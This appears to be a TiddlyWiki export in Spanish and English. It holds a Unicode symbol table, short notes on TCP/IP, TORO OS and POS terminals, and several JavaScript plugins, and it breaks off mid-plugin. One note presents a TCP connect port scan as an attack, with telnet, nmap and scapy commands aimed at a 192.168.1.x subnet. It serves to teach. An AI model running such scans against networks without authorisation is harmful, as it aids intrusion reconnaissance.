| 266B | ♫ | 266C | ♬ | 266D | ♭ | 266F | ♯ |
| 2701 | ✁ | 2706 | ✆ | 2707 | ✇ | 2708 | ✈ |
| 2709 | ✉ | 270C | ✌ | 2713 | ✓ | 2714 | ✔ |
| 2715 | ✕ | 2716 | ✖ | 271D | ✝ | 2721 | ✡ |
| 272B | ✫ | 273B | ✻ | 275B | ❛ | 275C | ❜ |
| 275D | ❝ | 275C | ❞ | 2764 | ❤ | 27B1 | ➱ |

Más aquí: http://www.tamasoft.co.jp/en/general-info/unicode.html

Otra página interesante: http://mcdlr.com/utf-8/
!Descripción
<part descripcion>
La unión de los protocolos [[TCP]] e [[IP]] es la combinación más habitual para las capas de red y de transporte en redes locales e internet. En redes locales suelen encapsularse sobre el protocolo ETHERNET.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Familia_de_protocolos_de_Internet
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
Este ataque consiste en realizar una conexión completa a un puerto TCP. Es un tanto "rudo" y deja trazas en casi todos los logs. La ventaja es que no necesita privilegios de administrador y funciona con cualquier máquina y puerto, y es tan sencillo como hacer un telnet a la máquina y puerto objetivo:
{{{
telnet 192.168.1.1 80
}}}

! Ataques
!! nmap
{{{
nmap -sT 192.168.1.0/24
}}}
!! scapy
<part scapy>
Envío del ataque:
/%<code python>
sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[80,443],flags="S"))
</code>
Scapy dispone de una herramienta específica que automatiza el esaneo SYN y muestra los resultados como una tabla LaTeX:
<code python>
report_ports("192.168.1.1",[80,443])
</code>
</part>
%/
! Referecias
!Descripción
<part descripcion>
TORO OS es un sistema operativo desarrollado por un estudiante argentino en [[Pascal]], lo que lo hace ideal para fines educativos.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki
** Proyecto en sourceforge: http://sourceforge.net/projects/toro/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
T.P.V. son las siglas de Terminal de Punto de Venta. En inglés se les conoce como [[POS]]. Estos dispositivos son pequeñas máquinas especializadas en comunicar transacciones entre un vendedor y un proveedor de servicios. Un ejemplo típico son los aparatos por los que se pasa la tarjeta de crédito al realizar una compra. El TPV se encarga de leer los datos de la tarjeta, cifrarlos, enviarlos al banco, esperar la respuesta del banco y comunicar al vendedor el resultado de la operación.
<<allTags excludeLists>>
/***
|Name|TabEditPlugin|
|Created by|SaqImtiaz|
|Location|http://tw.lewcid.org/#TabEditPlugin|
|Version|0.32|
|Requires|~TW2.x|

!Description
Makes editing of tabs easier.

!Usage
*Double click a tab to edit the source tiddler
*Double click outside the tabset to edit the containing tiddler. 

!Demo
TestTabs

!History
*28-04-06, v0.32 - fixed previous bug fix!
*27-04-06, v0.31 - fixed conflicts with tabs created using PartTiddler.
*26-04-06, v0.30 - first public release

***/

//{{{

//tab on double click event handler
Story.prototype.onTabDblClick = function(e){
        if (!e) var e = window.event;
        var theTarget = resolveTarget(e);
        var title= this.getAttribute("source");
        if ((version.extensions.PartTiddlerPlugin)&&(title.indexOf("/")!=-1))
                 {if (!oldFetchTiddler.call(this, [title]))
                              {return false;}}   
        story.displayTiddler(theTarget,title,2,false,null)
        e.cancelBubble = true;
        if (e.stopPropagation) e.stopPropagation();
        return false;
        }

config.macros.tabs.switchTab = function(tabset,tab)
{
	var cookie = tabset.getAttribute("cookie");
	var theTab = null
	var nodes = tabset.childNodes;
	for(var t=0; t<nodes.length; t++)
		if(nodes[t].getAttribute && nodes[t].getAttribute("tab") == tab)
			{
			theTab = nodes[t];
			theTab.className = "tab tabSelected";
			}
		else
			nodes[t].className = "tab tabUnselected"
	if(theTab)
		{
		if(tabset.nextSibling && tabset.nextSibling.className == "tabContents")
			tabset.parentNode.removeChild(tabset.nextSibling);
		var tabContent = createTiddlyElement(null,"div",null,"tabContents",null);
		tabset.parentNode.insertBefore(tabContent,tabset.nextSibling);
		var contentTitle = theTab.getAttribute("content");

                //set source attribute equal to title of tiddler displayed in tab
		tabContent.setAttribute("source",contentTitle);
		//add dbl click event
		tabContent.ondblclick = story.onTabDblClick;

		wikify(store.getTiddlerText(contentTitle),tabContent,null,store.getTiddler(contentTitle));
		if(cookie)
			{
			config.options[cookie] = tab;
			saveOptionCookie(cookie);
			}
		}
}

//}}}
<<tabs txtMoreTab "Tags" "All Tags" TabAllTags "Miss" "Missing tiddlers" TabMoreMissing "Orph" "Orphaned tiddlers" TabMoreOrphans "Shad" "Shadowed tiddlers" TabMoreShadowed>>
<<allTags excludeLists [a-z]>>
<<timeline better:true maxEntries:30>>
/***
|''Name:''|TableSortingPlugin|
|''Description:''|Dynamically sort tables by clicking on column headers|
|''Author:''|Saq Imtiaz ( lewcid@gmail.com )|
|''Source:''|http://tw.lewcid.org/#TableSortingPlugin|
|''Code Repository:''|http://tw.lewcid.org/svn/plugins|
|''Version:''|2.02|
|''Date:''|25-01-2008|
|''License:''|[[Creative Commons Attribution-ShareAlike 3.0 License|http://creativecommons.org/licenses/by-sa/3.0/]]|
|''~CoreVersion:''|2.2.3|
!!Usage:
* Make sure your table has a header row
** {{{|Name|Phone Number|Address|h}}}<br> Note the /h/ that denote a header row 
* Give the table a class of 'sortable'
** {{{
|sortable|k
|Name|Phone Number|Address|h
}}}<br>Note the /k/ that denotes a class name being assigned to the table.
* To disallow sorting by a column, place {{{<<nosort>>}}} in it's header
* To automatically sort a table by a column, place {{{<<autosort>>}}} in the header for that column
** Or to sort automatically but in reverse order, use {{{<<autosort reverse>>}}}

!!Example:
|sortable|k
|Name |Salary |Extension |Performance |File Size |Start date |h
|ZBloggs, Fred |$12000.00 |1353 |+1.2 |74.2Kb |Aug 19, 2003 21:34:00 |
|ABloggs, Fred |$12000.00 |1353 |1.2 |3350b |09/18/2003 |
|CBloggs, Fred |$12000 |1353 |1.200 |55.2Kb |August 18, 2003 |
|DBloggs, Fred |$12000.00 |1353 |1.2 |2100b |07/18/2003 |
|Bloggs, Fred |$12000.00 |1353 |01.20 |6.156Mb |08/17/2003 05:43 |
|Turvey, Kevin |$191200.00 |2342 |-33 |1b |02/05/1979 |
|Mbogo, Arnold |$32010.12 |2755 |-21.673 |1.2Gb |09/08/1998 |
|Shakespeare, Bill |£122000.00|3211 |6 |33.22Gb |12/11/1961 |
|Shakespeare, Hamlet |£9000 |9005 |-8 |3Gb |01/01/2002 |
|Fitz, Marvin |€3300.30 |5554 |+5 |4Kb |05/22/1995 |

***/
// /%
//!BEGIN-PLUGIN-CODE
config.tableSorting = {
	
	darrow: "\u2193",
	
	uarrow: "\u2191",
	
	getText : function (o) {
		var p = o.cells[SORT_INDEX];
		return p.innerText || p.textContent || '';
	},
	
	sortTable : function (o,rev) {
		SORT_INDEX = o.getAttribute("index");
		var c = config.tableSorting;
		var T = findRelated(o.parentNode,"TABLE");
		if(T.tBodies[0].rows.length<=1) 
			return;
		var itm = "";
		var i = 0;
		while (itm == "" && i < T.tBodies[0].rows.length) {
			itm = c.getText(T.tBodies[0].rows[i]).trim();
			i++;
		}
		if (itm == "") 
			return; 	
		var r = [];
		var S = o.getElementsByTagName("span")[0];		
		c.fn = c.sortAlpha; 
		if(!isNaN(Date.parse(itm)))
			c.fn = c.sortDate; 
		else if(itm.match(/^[$|£|€|\+|\-]{0,1}\d*\.{0,1}\d+$/)) 
			c.fn = c.sortNumber; 
		else if(itm.match(/^\d*\.{0,1}\d+[K|M|G]{0,1}b$/)) 
			c.fn = c.sortFile; 
		for(i=0; i<T.tBodies[0].rows.length; i++) {
			 r[i]=T.tBodies[0].rows[i]; 
		} 
		r.sort(c.reSort);
		if(S.firstChild.nodeValue==c.darrow || rev) {
			r.reverse();
			S.firstChild.nodeValue=c.uarrow;
		} 
		else 
			S.firstChild.nodeValue=c.darrow;
		var thead = T.getElementsByTagName('thead')[0]; 
		var headers = thead.rows[thead.rows.length-1].cells;
		for(var k=0; k<headers.length; k++) {
			if(!hasClass(headers[k],"nosort"))
				addClass(headers[k].getElementsByTagName("span")[0],"hidden");
		}
		removeClass(S,"hidden");
		for(i=0; i<r.length; i++) { 
			T.tBodies[0].appendChild(r[i]);
			c.stripe(r[i],i);
			for(var j=0; j<r[i].cells.length;j++){
				removeClass(r[i].cells[j],"sortedCol");
			}
			addClass(r[i].cells[SORT_INDEX],"sortedCol");
		}
	},
	
	stripe : function (e,i){
		var cl = ["oddRow","evenRow"];
		i&1? cl.reverse() : cl;
		removeClass(e,cl[1]);
		addClass(e,cl[0]);
	},
	
	sortNumber : function(v) {
		var x = parseFloat(this.getText(v).replace(/[^0-9.-]/g,''));
		return isNaN(x)? 0: x;
	},
	
	sortDate : function(v) {
		return Date.parse(this.getText(v));
	},

	sortAlpha : function(v) {
		return this.getText(v).toLowerCase();
	},
	
	sortFile : function(v) { 		
		var j, q = config.messages.sizeTemplates, s = this.getText(v);
		for (var i=0; i<q.length; i++) {
			if ((j = s.toLowerCase().indexOf(q[i].template.replace("%0\u00a0","").toLowerCase())) != -1)
				return q[i].unit * s.substr(0,j);
		}
		return parseFloat(s);
	},
	
	reSort : function(a,b){
		var c = config.tableSorting;
		var aa = c.fn(a);
		var bb = c.fn(b);
		return ((aa==bb)? 0 : ((aa<bb)? -1:1));
	}
};

Story.prototype.tSort_refreshTiddler = Story.prototype.refreshTiddler;
Story.prototype.refreshTiddler = function(title,template,force,customFields,defaultText){
	var elem = this.tSort_refreshTiddler.apply(this,arguments);
	if(elem){
		var tables = elem.getElementsByTagName("TABLE");
		var c = config.tableSorting;
		for(var i=0; i<tables.length; i++){
			if(hasClass(tables[i],"sortable")){
				var x = null, rev, table = tables[i], thead = table.getElementsByTagName('thead')[0], headers = thead.rows[thead.rows.length-1].cells;
				for (var j=0; j<headers.length; j++){
					var h = headers[j];
					if (hasClass(h,"nosort"))
						continue;
					h.setAttribute("index",j);
					h.onclick = function(){c.sortTable(this); return false;};
					h.ondblclick = stopEvent;
					if(h.getElementsByTagName("span").length == 0)
						createTiddlyElement(h,"span",null,"hidden",c.uarrow); 
					if(!x && hasClass(h,"autosort")) {
						x = j;
						rev = hasClass(h,"reverse");
					}
				}
				if(x)
					c.sortTable(headers[x],rev);		
			}
		}
	}
	return elem; 
};

setStylesheet("table.sortable span.hidden {visibility:hidden;}\n"+
	"table.sortable thead {cursor:pointer;}\n"+
	"table.sortable .nosort {cursor:default;}\n"+
	"table.sortable td.sortedCol {background:#ffc;}","TableSortingPluginStyles");

function stopEvent(e){
	var ev = e? e : window.event;
	ev.cancelBubble = true;
	if (ev.stopPropagation) ev.stopPropagation();
	return false;	
}	

config.macros.nosort={
	handler : function(place){
		addClass(place,"nosort");
	}	
};

config.macros.autosort={
	handler : function(place,m,p,w,pS){
		addClass(place,"autosort"+" "+pS);		
	}	
};
//!END-PLUGIN-CODE
// %/
/***
|''Name:''|~TaggerPlugin|
|''Version:''|1.0.1 (2006-06-01)|
|''Source:''|http://tw.lewcid.org//#TaggerPlugin|
|''Author:''|SaqImtiaz|
|''Description:''|Provides a drop down listing current tiddler tags, and allowing toggling of tags.|
|''Documentation:''|[[TaggerPluginDocumentation]]|
|''Source Code:''|[[TaggerPluginSource]]|
|''~TiddlyWiki:''|Version 2.0.8 or better|
***/
// /%
config.tagger={defaults:{label:"Tags: ",tooltip:"Manage tiddler tags",taglist:"true",excludeTags:"",notags:"tiddler has no tags",aretags:"current tiddler tags:",toggletext:"add tags:"}};config.macros.tagger={};config.macros.tagger.arrow=(document.all?"▼":"▾");config.macros.tagger.handler=function(_1,_2,_3,_4,_5,_6){var _7=config.tagger.defaults;var _8=_5.parseParams("tagman",null,true);var _9=((_8[0].label)&&(_8[0].label[0])!=".")?_8[0].label[0]+this.arrow:_7.label+this.arrow;var _a=((_8[0].tooltip)&&(_8[0].tooltip[0])!=".")?_8[0].tooltip[0]:_7.tooltip;var _b=((_8[0].taglist)&&(_8[0].taglist[0])!=".")?_8[0].taglist[0]:_7.taglist;var _c=((_8[0].exclude)&&(_8[0].exclude[0])!=".")?(_8[0].exclude[0]).readBracketedList():_7.excludeTags.readBracketedList();if((_8[0].source)&&(_8[0].source[0])!="."){var _d=_8[0].source[0];}if(_d&&!store.getTiddler(_d)){return false;}var _e=function(e){if(!e){var e=window.event;}var _11=Popup.create(this);var _12=store.getTags();var _13=new Array();for(var i=0;i<_12.length;i++){_13.push(_12[i][0]);}if(_d){var _15=store.getTiddler(_d);_13=_15.tags.sort();}var _16=_6.tags.sort();var _17=function(_18,_19,_1a){var sp=createTiddlyElement(createTiddlyElement(_11,"li"),"span",null,"tagger");var _1c=createTiddlyButton(sp,_18,_1a+" '"+_19+"'",taggerOnToggle,"button","toggleButton");_1c.setAttribute("tiddler",_6.title);_1c.setAttribute("tag",_19);insertSpacer(sp);if(window.createTagButton_orig_mptw){createTagButton_orig_mptw(sp,_19)}else{createTagButton(sp,_19);}};createTiddlyElement(_11,"li",null,"listTitle",(_6.tags.length==0?_7.notags:_7.aretags));for(var t=0;t<_16.length;t++){_17("[x]",_16[t],"remove tag ");}createTiddlyElement(createTiddlyElement(_11,"li"),"hr");if(_b!="false"){createTiddlyElement(_11,"li",null,"listTitle",_7.toggletext);for(var i=0;i<_13.length;i++){if(!_6.tags.contains(_13[i])&&!_c.contains(_13[i])){_17("[ ]",_13[i],"add tag ");}}createTiddlyElement(createTiddlyElement(_11,"li"),"hr");}var _1f=createTiddlyButton(createTiddlyElement(_11,"li"),("Create new tag"),null,taggerOnToggle);_1f.setAttribute("tiddler",_6.title);if(_d){_1f.setAttribute("source",_d);}Popup.show(_11,false);e.cancelBubble=true;if(e.stopPropagation){e.stopPropagation();}return (false);};createTiddlyButton(_1,_9,_a,_e,"button","taggerDrpBtn");};window.taggerOnToggle=function(e){var tag=this.getAttribute("tag");var _22=this.getAttribute("tiddler");var _23=store.getTiddler(_22);if(!tag){var _24=prompt("Enter new tag:","");if(_24!=""&&_24!=null){var tag=_24;if(this.getAttribute("source")){var _26=store.getTiddler(this.getAttribute("source"));_26.tags.pushUnique(_24);}}else{return false;}}if(!_23||!_23.tags){store.saveTiddler(_22,_22,"",config.options.txtUserName,new Date(),tag);}else{if(_23.tags.find(tag)==null){_23.tags.push(tag);}else{if(!_24){_23.tags.splice(_23.tags.find(tag),1);}}store.saveTiddler(_23.title,_23.title,_23.text,_23.modifier,_23.modified,_23.tags);}story.refreshTiddler(_22,null,true);if(config.options.chkAutoSave){saveChanges();}return false;};setStylesheet(".tagger a.button {font-weight: bold;display:inline; padding:0px;}\n"+".tagger #toggleButton {padding-left:2px; padding-right:2px; margin-right:1px; font-size:110%;}\n"+"#nestedtagger {background:#2E5ADF; border: 1px solid #0331BF;}\n"+".popup .listTitle {color:#000;}\n"+"","TaggerStyles");window.lewcidTiddlerSwapTag=function(_27,_28,_29){for(var i=0;i<_27.tags.length;i++){if(_27.tags[i]==_28){_27.tags[i]=_29;return true;}}return false;};window.lewcidRenameTag=function(e){var tag=this.getAttribute("tag");var _2d=prompt("Rename tag '"+tag+"' to:",tag);if((_2d==tag)||(_2d==null)){return false;}if(store.tiddlerExists(_2d)){if(confirm(config.messages.overwriteWarning.format([_2d.toString()]))){story.closeTiddler(_2d,false,false);}else{return null;}}tagged=store.getTaggedTiddlers(tag);if(tagged.length!=0){for(var j=0;j<tagged.length;j++){lewcidTiddlerSwapTag(tagged[j],tag,_2d);}}if(store.tiddlerExists(tag)){store.saveTiddler(tag,_2d);}if(document.getElementById("tiddler"+tag)){var _2f=document.getElementById(story.idPrefix+tag);var _30=story.positionTiddler(_2f);var _31=document.getElementById(story.container);story.closeTiddler(tag,false,false);story.createTiddler(_31,_30,_2d,null);story.saveTiddler(_2d);}if(config.options.chkAutoSave){saveChanges();}return false;};window.onClickTag=function(e){if(!e){var e=window.event;}var _34=resolveTarget(e);var _35=(!isNested(_34));if((Popup.stack.length>1)&&(_35==true)){Popup.removeFrom(1);}else{if(Popup.stack.length>0&&_35==false){Popup.removeFrom(0);}}var _36=(_35==false)?"popup":"nestedtagger";var _37=createTiddlyElement(document.body,"ol",_36,"popup",null);Popup.stack.push({root:this,popup:_37});var tag=this.getAttribute("tag");var _39=this.getAttribute("tiddler");if(_37&&tag){var _3a=store.getTaggedTiddlers(tag);var _3b=[];var li,r;for(r=0;r<_3a.length;r++){if(_3a[r].title!=_39){_3b.push(_3a[r].title);}}var _3d=config.views.wikified.tag;if(_3b.length>0){var _3e=createTiddlyButton(createTiddlyElement(_37,"li"),_3d.openAllText.format([tag]),_3d.openAllTooltip,onClickTagOpenAll);_3e.setAttribute("tag",tag);createTiddlyElement(createTiddlyElement(_37,"li"),"hr");for(r=0;r<_3b.length;r++){createTiddlyLink(createTiddlyElement(_37,"li"),_3b[r],true);}}else{createTiddlyText(createTiddlyElement(_37,"li",null,"disabled"),_3d.popupNone.format([tag]));}createTiddlyElement(createTiddlyElement(_37,"li"),"hr");var h=createTiddlyLink(createTiddlyElement(_37,"li"),tag,false);createTiddlyText(h,_3d.openTag.format([tag]));createTiddlyElement(createTiddlyElement(_37,"li"),"hr");var _40=createTiddlyButton(createTiddlyElement(_37,"li"),("Rename tag '"+tag+"'"),null,lewcidRenameTag);_40.setAttribute("tag",tag);}Popup.show(_37,false);e.cancelBubble=true;if(e.stopPropagation){e.stopPropagation();}return (false);};if(!window.isNested){window.isNested=function(e){while(e!=null){var _42=document.getElementById("contentWrapper");if(_42==e){return true;}e=e.parentNode;}return false;};}config.shadowTiddlers.TaggerPluginDocumentation="The documentation is available [[here.|http://tw.lewcid.org/#TaggerPluginDocumentation]]";config.shadowTiddlers.TaggerPluginSource="The uncompressed source code is available [[here.|http://tw.lewcid.org/#TaggerPluginSource]]";
// %/
''If you want this documentation available offline, copy this tiddler to your TW.''

!Description:
The tagger plugin is a result of combining key features from the dropTags and tagAdder macro's. However, since it departs somewhat from the interface tagAdder users will be familiar with, I'm making this available as a new plugin alongside tagAdder.

Tagger provides a dropdown list of the current tiddler tags, along with the ability to toggle them. Further it can optionally display a list of tags in the dropdown, which can be addded to the tiddler.

*Clicking on ''[x]'' and ''[ ]'' removes and adds the tag respectively.
*Clicking on the tag text displays the tag dropdown for that tag, listing tiddlers tagged with it.
*The ''Create new tag'' lets you quickly type in a new tag not in the list.
*Click on this button to see the dropdown: <<tagger>>

Further note that each tag dropdown has a ''Rename tag'' option. This can be used to quickly rename a tag in the entire TW, also rename it's tiddler if it exists.

//''tagAdder, dropTags and the future''
- tagAdder will no longer will be developed, but will remain available. I encourage all tagAdder users to upgrade to tagger.
- dropTags will still be developed for those users that dont want the 'tag editing' features.//

!Examples & Usage:
*At it's simplest, using tagger is as simple as {{{<<tagger>>}}} <<tagger>>
**This gives a dropdown with the current tiddler tags, followed by all the tags in the TW.
*You can also use a list of specified tags instead of all tags in the TW, by specifying a source tiddler.
**{{{<<tagger source:TagsDB>>}}} <<tagger source:TagDataBase>>
*You can also display ONLY the current tiddler tags
**{{{<<tagger taglist:false>>}}} <<tagger taglist:false>>

*To exclude tags from the list: {{{<<tagger exclude:"excludeLists Tag2 [[Tag with spaces]]">>}}} <<tagger exclude:"excludeLists Tag2 [[Tag with spaces]]">>

*For a custom button label: {{{<<tagger label:"custom label">>}}} <<tagger label:"custom label">>
*For a custom tooltip: {{{<<tagger tooltip:"custom tooltip">>}}} <<tagger tooltip:"custom tooltip">>

!CSS and Styling:
For those wishing to customize the popup appearance:
*the main popup has a class and id of popup has with all other popups.
*the nested tag popups have an id of nestedpopup

!Advanced Users:
You can change the global defaults for tagger, like the button label, the tags to exclude or whether to display the taglist or not, by editing the ''config.tagger.defaults'' section in the code.

!To Do:
*code optimization
*possibly a 'delete this tag' option.

!History
*version 1.0.1 (2006-06-01): fixed conflicts with QuickOpenTag (TagglyTagging) and AutoTagger.
/***
|Name:|TagglyTaggingPlugin|
|Description:|tagglyTagging macro is a replacement for the builtin tagging macro in your ViewTemplate|
|Version:|3.3.1 ($Rev: 9828 $)|
|Date:|$Date: 2009-06-03 21:38:41 +1000 (Wed, 03 Jun 2009) $|
|Source:|http://mptw.tiddlyspot.com/#TagglyTaggingPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
!Notes
See http://mptw.tiddlyspot.com/#TagglyTagging
***/
//{{{

merge(String.prototype,{

	parseTagExpr: function(debug) {

		if (this.trim() == "")
			return "(true)";

		var anyLogicOp = /(!|&&|\|\||\(|\))/g;
		var singleLogicOp = /^(!|&&|\|\||\(|\))$/;

		var spaced = this.
			// because square brackets in templates are no good
			// this means you can use [(With Spaces)] instead of [[With Spaces]]
			replace(/\[\(/g," [[").
			replace(/\)\]/g,"]] "). 
			// space things out so we can use readBracketedList. tricky eh?
			replace(anyLogicOp," $1 ");

		var expr = "";

		var tokens = spaced.readBracketedList(false); // false means don't uniq the list. nice one JR!

		for (var i=0;i<tokens.length;i++)
			if (tokens[i].match(singleLogicOp))
				expr += tokens[i];
			else
				expr += "tiddler.tags.contains('%0')".format([tokens[i].replace(/'/,"\\'")]); // fix single quote bug. still have round bracket bug i think

		if (debug)
			alert(expr);

		return '('+expr+')';
	}

});

merge(TiddlyWiki.prototype,{
	getTiddlersByTagExpr: function(tagExpr,sortField) {

		var result = [];

		var expr = tagExpr.parseTagExpr();

		store.forEachTiddler(function(title,tiddler) {
			if (eval(expr))
				result.push(tiddler);
		});

		if(!sortField)
			sortField = "title";

		result.sort(function(a,b) {return a[sortField] < b[sortField] ? -1 : (a[sortField] == b[sortField] ? 0 : +1);});
		
		return result;
	}
});

config.taggly = {

	// for translations
	lingo: {
		labels: {
			asc:        "\u2191", // down arrow
			desc:       "\u2193", // up arrow
			title:      "title",
			modified:   "modified",
			created:    "created",
			show:       "+",
			hide:       "-",
			normal:     "normal",
			group:      "group",
			commas:     "commas",
			sitemap:    "sitemap",
			numCols:    "cols\u00b1", // plus minus sign
			label:      "Tagged as '%0':",
			exprLabel:  "Matching tag expression '%0':",
			excerpts:   "excerpts",
			descr:      "descr",
			slices:     "slices",
			contents:   "contents",
			sliders:    "sliders",
			noexcerpts: "title only",
			noneFound:  "(none)"
		},

		tooltips: {
			title:      "Click to sort by title",
			modified:   "Click to sort by modified date",
			created:    "Click to sort by created date",
			show:       "Click to show tagging list",
			hide:       "Click to hide tagging list",
			normal:     "Click to show a normal ungrouped list",
			group:      "Click to show list grouped by tag",
			sitemap:    "Click to show a sitemap style list",
			commas:     "Click to show a comma separated list",
			numCols:    "Click to change number of columns",
			excerpts:   "Click to show excerpts",
			descr:      "Click to show the description slice",
			slices:     "Click to show all slices",
			contents:   "Click to show entire tiddler contents",
			sliders:    "Click to show tiddler contents in sliders",
			noexcerpts: "Click to show entire title only"
		},

		tooDeepMessage: "* //sitemap too deep...//"
	},

	config: {
		showTaggingCounts: true,
		listOpts: {
			// the first one will be the default
			sortBy:     ["title","modified","created"],
			sortOrder:  ["asc","desc"],
			hideState:  ["show","hide"],
			listMode:   ["normal","group","sitemap","commas"],
			numCols:    ["1","2","3","4","5","6"],
			excerpts:   ["noexcerpts","excerpts","descr","slices","contents","sliders"]
		},
		valuePrefix: "taggly.",
		excludeTags: ["excludeLists","excludeTagging"],
		excerptSize: 50,
		excerptMarker: "/%"+"%/",
		siteMapDepthLimit: 25
	},

	getTagglyOpt: function(title,opt) {
		var val = store.getValue(title,this.config.valuePrefix+opt);
		return val ? val : this.config.listOpts[opt][0];
	},

	setTagglyOpt: function(title,opt,value) {
		// create it silently if it doesn't exist
		if (!store.tiddlerExists(title)) {
			store.saveTiddler(title,title,config.views.editor.defaultText.format([title]),config.options.txtUserName,new Date(),"");

			// <<tagglyTagging expr:"...">> creates a tiddler to store its display settings
			// Make those tiddlers less noticeable by tagging as excludeSearch and excludeLists
			// Because we don't want to hide real tags, check that they aren't actually tags before doing so
			// Also tag them as tagglyExpression for manageability
			// (contributed by RA)
			if (!store.getTaggedTiddlers(title).length) {
				store.setTiddlerTag(title,true,"excludeSearch");
				store.setTiddlerTag(title,true,"excludeLists");
				store.setTiddlerTag(title,true,"tagglyExpression");
			}
		}

		// if value is default then remove it to save space
		return store.setValue(title, this.config.valuePrefix+opt, value == this.config.listOpts[opt][0] ? null : value);
	},

	getNextValue: function(title,opt) {
		var current = this.getTagglyOpt(title,opt);
		var pos = this.config.listOpts[opt].indexOf(current);
		// supposed to automagically don't let cols cycle up past the number of items
		// currently broken in some situations, eg when using an expression
		// lets fix it later when we rewrite for jquery
		// the columns thing should be jquery table manipulation probably
		var limit = (opt == "numCols" ? store.getTaggedTiddlers(title).length : this.config.listOpts[opt].length);
		var newPos = (pos + 1) % limit;
		return this.config.listOpts[opt][newPos];
	},

	toggleTagglyOpt: function(title,opt) {
		var newVal = this.getNextValue(title,opt);
		this.setTagglyOpt(title,opt,newVal);
	}, 

	createListControl: function(place,title,type) {
		var lingo = config.taggly.lingo;
		var label;
		var tooltip;
		var onclick;

		if ((type == "title" || type == "modified" || type == "created")) {
			// "special" controls. a little tricky. derived from sortOrder and sortBy
			label = lingo.labels[type];
			tooltip = lingo.tooltips[type];

			if (this.getTagglyOpt(title,"sortBy") == type) {
				label += lingo.labels[this.getTagglyOpt(title,"sortOrder")];
				onclick = function() {
					config.taggly.toggleTagglyOpt(title,"sortOrder");
					return false;
				}
			}
			else {
				onclick = function() {
					config.taggly.setTagglyOpt(title,"sortBy",type);
					config.taggly.setTagglyOpt(title,"sortOrder",config.taggly.config.listOpts.sortOrder[0]);
					return false;
				}
			}
		}
		else {
			// "regular" controls, nice and simple
			label = lingo.labels[type == "numCols" ? type : this.getNextValue(title,type)];
			tooltip = lingo.tooltips[type == "numCols" ? type : this.getNextValue(title,type)];
			onclick = function() {
				config.taggly.toggleTagglyOpt(title,type);
				return false;
			}
		}

		// hide button because commas don't have columns
		if (!(this.getTagglyOpt(title,"listMode") == "commas" && type == "numCols"))
			createTiddlyButton(place,label,tooltip,onclick,type == "hideState" ? "hidebutton" : "button");
	},

	makeColumns: function(orig,numCols) {
		var listSize = orig.length;
		var colSize = listSize/numCols;
		var remainder = listSize % numCols;

		var upperColsize = colSize;
		var lowerColsize = colSize;

		if (colSize != Math.floor(colSize)) {
			// it's not an exact fit so..
			upperColsize = Math.floor(colSize) + 1;
			lowerColsize = Math.floor(colSize);
		}

		var output = [];
		var c = 0;
		for (var j=0;j<numCols;j++) {
			var singleCol = [];
			var thisSize = j < remainder ? upperColsize : lowerColsize;
			for (var i=0;i<thisSize;i++) 
				singleCol.push(orig[c++]);
			output.push(singleCol);
		}

		return output;
	},

	drawTable: function(place,columns,theClass) {
		var newTable = createTiddlyElement(place,"table",null,theClass);
		var newTbody = createTiddlyElement(newTable,"tbody");
		var newTr = createTiddlyElement(newTbody,"tr");
		for (var j=0;j<columns.length;j++) {
			var colOutput = "";
			for (var i=0;i<columns[j].length;i++) 
				colOutput += columns[j][i];
			var newTd = createTiddlyElement(newTr,"td",null,"tagglyTagging"); // todo should not need this class
			wikify(colOutput,newTd);
		}
		return newTable;
	},

	createTagglyList: function(place,title,isTagExpr) {
		switch(this.getTagglyOpt(title,"listMode")) {
			case "group":  return this.createTagglyListGrouped(place,title,isTagExpr); break;
			case "normal": return this.createTagglyListNormal(place,title,false,isTagExpr); break;
			case "commas": return this.createTagglyListNormal(place,title,true,isTagExpr); break;
			case "sitemap":return this.createTagglyListSiteMap(place,title,isTagExpr); break;
		}
	},

	getTaggingCount: function(title,isTagExpr) {
		// thanks to Doug Edmunds
		if (this.config.showTaggingCounts) {
			var tagCount = config.taggly.getTiddlers(title,'title',isTagExpr).length;
			if (tagCount > 0)
				return " ("+tagCount+")";
		}
		return "";
	},

	getTiddlers: function(titleOrExpr,sortBy,isTagExpr) {
		return isTagExpr ? store.getTiddlersByTagExpr(titleOrExpr,sortBy) : store.getTaggedTiddlers(titleOrExpr,sortBy);
	},

	getExcerpt: function(inTiddlerTitle,title,indent) {
		if (!indent)
			indent = 1;

		var displayMode = this.getTagglyOpt(inTiddlerTitle,"excerpts");
		var t = store.getTiddler(title);

		if (t && displayMode == "excerpts") {
			var text = t.text.replace(/\n/," ");
			var marker = text.indexOf(this.config.excerptMarker);
			if (marker != -1) {
				return " {{excerpt{<nowiki>" + text.substr(0,marker) + "</nowiki>}}}";
			}
			else if (text.length < this.config.excerptSize) {
				return " {{excerpt{<nowiki>" + t.text + "</nowiki>}}}";
			}
			else {
				return " {{excerpt{<nowiki>" + t.text.substr(0,this.config.excerptSize) + "..." + "</nowiki>}}}";
			}
		}
		else if (t && displayMode == "contents") {
			return "\n{{contents indent"+indent+"{\n" + t.text + "\n}}}";
		}
		else if (t && displayMode == "sliders") {
			return "<slider slide>\n{{contents{\n" + t.text + "\n}}}\n</slider>";
		}
		else if (t && displayMode == "descr") {
			var descr = store.getTiddlerSlice(title,'Description');
			return descr ? " {{excerpt{" + descr  + "}}}" : "";
		}
		else if (t && displayMode == "slices") {
			var result = "";
			var slices = store.calcAllSlices(title);
			for (var s in slices)
				result += "|%0|<nowiki>%1</nowiki>|\n".format([s,slices[s]]);
			return result ? "\n{{excerpt excerptIndent{\n" + result  + "}}}" : "";
		}
		return "";
	},

	notHidden: function(t,inTiddler) {
		if (typeof t == "string") 
			t = store.getTiddler(t);
		return (!t || !t.tags.containsAny(this.config.excludeTags) ||
				(inTiddler && this.config.excludeTags.contains(inTiddler)));
	},

	// this is for normal and commas mode
	createTagglyListNormal: function(place,title,useCommas,isTagExpr) {

